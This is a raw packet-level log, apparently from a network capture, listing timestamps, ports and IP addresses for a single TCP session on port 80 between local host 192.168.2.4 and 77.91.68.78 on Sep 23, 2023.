Sep 23, 2023 17:53:34.971005917 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.971046925 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.971051931 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.971092939 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.971096992 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.971139908 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.971143007 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.971183062 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.971187115 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.971227884 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.971235037 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.971276999 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.971282005 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.971321106 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.971328020 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.971370935 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.971374989 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.971417904 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.971421003 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.971462965 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.971466064 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.971499920 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.971512079 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.971554041 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.971556902 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.971599102 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.971605062 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.971647978 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.971651077 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.971689939 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.971695900 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.971739054 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.971743107 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.971829891 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.971873045 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.971878052 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.971918106 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.972006083 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.972050905 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.972094059 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.972134113 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.972218037 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.972256899 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.972305059 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.972347021 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.972352028 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.972388029 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.972398043 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.972444057 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.972445011 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.972484112 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.972806931 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.972850084 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.972934008 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.972976923 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.973803043 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.973848104 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.973853111 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.973892927 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.973938942 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.973975897 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.973984957 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.974025965 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.974030972 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.974081039 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.974117041 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.974159002 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.230268955 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.230375051 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.230396032 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.230412006 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.230412960 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.230451107 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.230526924 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.230561972 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.230582952 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.230601072 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.231280088 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.231317043 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.231323004 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.231354952 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.231635094 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.231678009 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.231681108 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.231730938 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.231775045 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.231817007 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.231829882 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.231865883 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.231872082 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.231903076 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.231904030 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.231956005 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.232397079 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.232433081 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.232451916 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.232471943 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.232541084 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.232577085 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.232598066 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.232614040 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.232615948 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.232649088 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.232651949 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.232687950 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.232718945 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.232754946 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.232759953 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.232791901 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.232914925 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.232954025 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.232992887 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.233035088 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.233073950 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.233117104 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.233120918 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.233159065 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.233205080 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.233248949 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.233299017 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.233676910 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.233712912 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.233721018 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.233751059 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.233772993 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.233808994 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.233828068 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.233845949 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.234093904 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.234129906 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.234136105 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.234168053 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.234219074 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.234255075 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.234260082 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.234292984 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.234519958 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.234563112 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.234594107 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.234630108 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.234633923 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.234668016 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.234697104 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.234731913 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.234740973 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.234767914 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.234781981 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.234803915 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.235200882 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.235238075 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.235251904 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.235276937 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.235318899 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.235363960 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.235385895 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.235426903 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.235482931 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.235523939 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.235553026 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.235590935 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.235599995 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.235630035 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.235658884 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.235694885 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.235707045 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.235734940 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.294193029 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.294261932 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.294351101 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.294400930 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.295352936 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.295414925 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.295434952 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.295478106 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.295480013 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.295525074 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.295530081 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.295576096 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.296416044 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.296452045 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.296608925 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.296647072 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.296680927 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.296717882 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.296735048 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.296775103 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.296797991 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.296835899 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.296849012 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.296888113 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.296907902 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.296942949 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.296961069 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.296979904 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.297153950 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.297197104 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.297214031 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.297257900 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.297774076 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.297816992 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.297854900 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.297898054 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.298866034 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.298923969 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.298963070 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.299014091 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.300456047 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.300506115 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.300518036 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.300561905 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.300769091 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.300812960 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.300951958 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.301000118 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.301043034 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.301090002 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.301110983 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.301157951 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.301197052 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.301237106 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.301265001 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.301302910 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.301331997 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.301378965 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.301415920 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.301459074 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.301484108 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.301532984 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.301558971 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.301594973 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.301599026 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.301630974 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.301632881 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.301671028 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.301842928 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.301877975 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.301882982 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.301917076 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.302849054 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.302885056 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.302908897 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.302944899 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.302968025 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.303004026 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.303077936 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.303116083 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.303177118 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.303216934 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.303235054 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.303276062 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.303301096 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.303337097 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.303342104 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.303374052 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.303458929 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.303499937 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.303570986 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.303608894 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.303638935 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.303879023 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.303926945 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.303989887 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.304032087 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.304056883 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.304095030 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.304124117 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.304172993 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.304193020 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.304234028 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.304290056 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.304330111 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.304373026 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.304411888 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.304440022 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.304477930 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.304563999 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.304604053 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.304605961 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.304622889 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.304645061 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.304665089 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.304739952 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.304775953 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.304812908 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.304847002 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.304883003 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.304919004 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.304991007 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.305017948 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.305042982 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.305079937 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.305140972 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.305176020 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.305217981 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.305257082 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.305439949 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.305480003 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.305521011 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.305561066 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.305598021 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.305634022 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.305640936 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.305669069 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.305670977 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.305710077 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.305766106 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.305804014 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.305831909 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.305872917 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.305897951 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.305938005 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.305970907 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.306009054 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.306066990 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.306102037 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.306107044 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.306139946 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.306216955 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.306252003 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.306257010 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.306292057 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.306318998 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.306355000 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.306416035 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.306452036 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.306480885 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.306519032 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.306624889 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.306660891 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.306660891 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.306703091 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.306756973 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.306792974 CEST	49827	80	192.168.2.4	77.91.68.78
